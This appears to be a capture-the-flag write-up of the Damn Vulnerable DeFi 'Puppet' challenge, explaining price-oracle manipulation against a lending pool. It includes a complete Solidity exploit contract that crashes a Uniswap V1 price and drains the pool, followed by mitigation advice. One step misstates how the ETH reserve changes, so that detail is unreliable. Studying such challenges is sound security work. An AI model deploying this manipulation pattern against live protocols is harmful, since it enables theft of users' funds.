Skip to content
On this page

Unmasking the Puppet Master: How a DeFi Oracle Flaw Can Drain Your Pool

In the high-stakes world of decentralized finance (DeFi), security is paramount. One subtle misstep in contract design can unravel an entire protocol, leading to devastating losses. Today, we're dissecting the "Puppet" challenge from Damn Vulnerable DeFi, a brilliant illustration of how trusting a naive price oracle can turn a secure lending pool into an attacker's puppet.

The Setup: A Lending Pool, A Primitive Market, and a Sneaky Oracle

Imagine a lending pool, our PuppetPool, where users can borrow Damn Valuable Tokens (DVTs). Sounds straightforward, right? Not quite. To borrow, you must deposit twice the borrow amount in ETH as collateral. The pool currently holds a hefty 100,000 DVTs in liquidity, a tempting target.

The crucial piece of the puzzle lies in how the PuppetPool determines the value of a DVT. It doesn't rely on a robust, decentralized oracle like Chainlink. Instead, it consults an ancient relic: a Uniswap V1 exchange. This particular DVT market is small, with only 10 ETH and 10 DVT in liquidity.

Our PuppetPool contract has a function, _computeOraclePrice(), which is its Achilles' heel:

solidity
function _computeOraclePrice() private view returns (uint256) {
    // calculates the price of the token in wei according to Uniswap pair
    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

This simple calculation, (ETH in Uniswap) / (DVT in Uniswap), directly dictates the DVT's price and, consequently, the ETH collateral required to borrow. This is where the "puppet strings" come into play.

You, the aspiring attacker, start with 25 ETH and 1000 DVTs. Your mission: drain all 100,000 DVTs from the PuppetPool and deposit them into a designated recovery account, all within a single transaction.

The Vulnerability: Low Liquidity, High Impact

The Uniswap V1 exchange's low liquidity (10 ETH and 10 DVT) is the key. In Uniswap V1, the product of the reserves (ETH * DVT) must remain constant (minus fees). This means even small trades can drastically shift the perceived price ratio within the pool.

The PuppetPool's oracle blindly trusts this easily manipulable, low-liquidity Uniswap V1 pool. If we can artificially depress the DVT's price in Uniswap, the PuppetPool will believe DVT is cheap, demanding minimal ETH collateral for a massive borrow.

The Attack: Pulling the Puppet Strings

Here’s the elegant, yet devastating, sequence of events to exploit this oracle vulnerability:

  1. Price Manipulation (The Setup):

    • You hold 1000 DVTs. The Uniswap V1 pool has 10 DVT.
    • You sell all your 1000 DVTs into the Uniswap V1 pool.
    • This action floods the Uniswap pool with DVT, greatly increasing its DVT reserves while decreasing its ETH reserves (as you're buying ETH with your DVT).
    • The UniswapPair.balance (ETH) will be significantly higher, and token.balanceOf(uniswapPair) (DVT) will be even higher. The price calculation ETH / DVT will now yield an extremely low value for DVT, making it appear "worthless" to the oracle.
  2. Oracle Exploitation (The Reveal):

    • With the DVT price now artificially crashed on Uniswap, the PuppetPool's _computeOraclePrice() function will return a minuscule value for DVT.
    • Consequently, calculateDepositRequired(amount) for a large amount of DVT (e.g., all 100,000 DVTs) will now demand a shockingly small amount of ETH collateral.
  3. Draining the Pool (The Grand Finale):

    • You then call the borrow function on the PuppetPool, requesting all 100,000 DVTs.
    • Since the collateral required is now so low (thanks to your price manipulation), you can easily pay it with your remaining ETH.
    • The PuppetPool, fooled by its own oracle, gladly transfers all its 100,000 DVTs to your designated recovery account.

The Solution: A Single, Atomic Transaction

The challenge requires this entire operation to happen in a single transaction. This necessitates a helper contract.

solidity
contract MyContract {
    constructor(
        address player,
        DamnValuableToken token,
        IUniswapV1Exchange exchange,
        PuppetPool pool,
        address recovery,
        uint256 dvtValue,
        uint256 deadline,
        uint8 v, bytes32 r, bytes32 s // EIP-2612 Permit signature
    ) payable {
        // 1. Approve helper contract to spend player's DVT using EIP-2612 Permit
        token.permit(player, address(this), dvtValue, deadline, v, r, s);
        token.transferFrom(player, address(this), dvtValue); // Transfer DVT to self

        // 2. Manipulate the DVT price on Uniswap V1 by selling all player's DVT
        token.approve(address(exchange), type(uint256).max); // Approve Uniswap to spend DVT
        exchange.tokenToEthSwapInput(dvtValue, 1, deadline); // Sell DVT for ETH

        // 3. Calculate the now-low collateral required to borrow all pool's DVT
        uint256 amountToBorrow = token.balanceOf(address(pool));
        uint256 deposit = pool.calculateDepositRequired(amountToBorrow);

        // 4. Borrow all DVT from the pool using the minimal collateral
        pool.borrow{value: deposit}(amountToBorrow, recovery);
    }
    
    receive() external payable {} // To receive ETH from Uniswap and send collateral
}

The test_puppet() function deploys this MyContract. Notably, it uses token.permit() (EIP-2612) to grant the helper contract spending approval for the player's DVTs before the contract is even deployed, allowing the entire flow to be batched into one transaction originating from the player. The helper contract then executes the DVT sale, calculates the new collateral, and drains the PuppetPool.

The Lesson: Don't Trust Weak Oracles

The "Puppet" challenge is a stark reminder of the critical importance of robust oracle design in DeFi. Relying on a single, low-liquidity Automated Market Maker (AMM) pool for price discovery is an open invitation for manipulation. Attackers can easily "puppet" the perceived value of an asset, leading to under-collateralized loans and draining of funds.

Modern DeFi protocols mitigate this risk by:

  • Using Time-Weighted Average Price (TWAP) oracles over a period to smooth out price spikes.
  • Aggregating prices from multiple, diverse sources.
  • Leveraging specialized oracle networks like Chainlink, which are designed for resistance against manipulation.

This challenge beautifully illustrates that in DeFi, a "good price" today might be a "gamed price" tomorrow, and the strings can be pulled by anyone who understands the underlying mechanics. Stay vigilant, builders!

Built with AiAda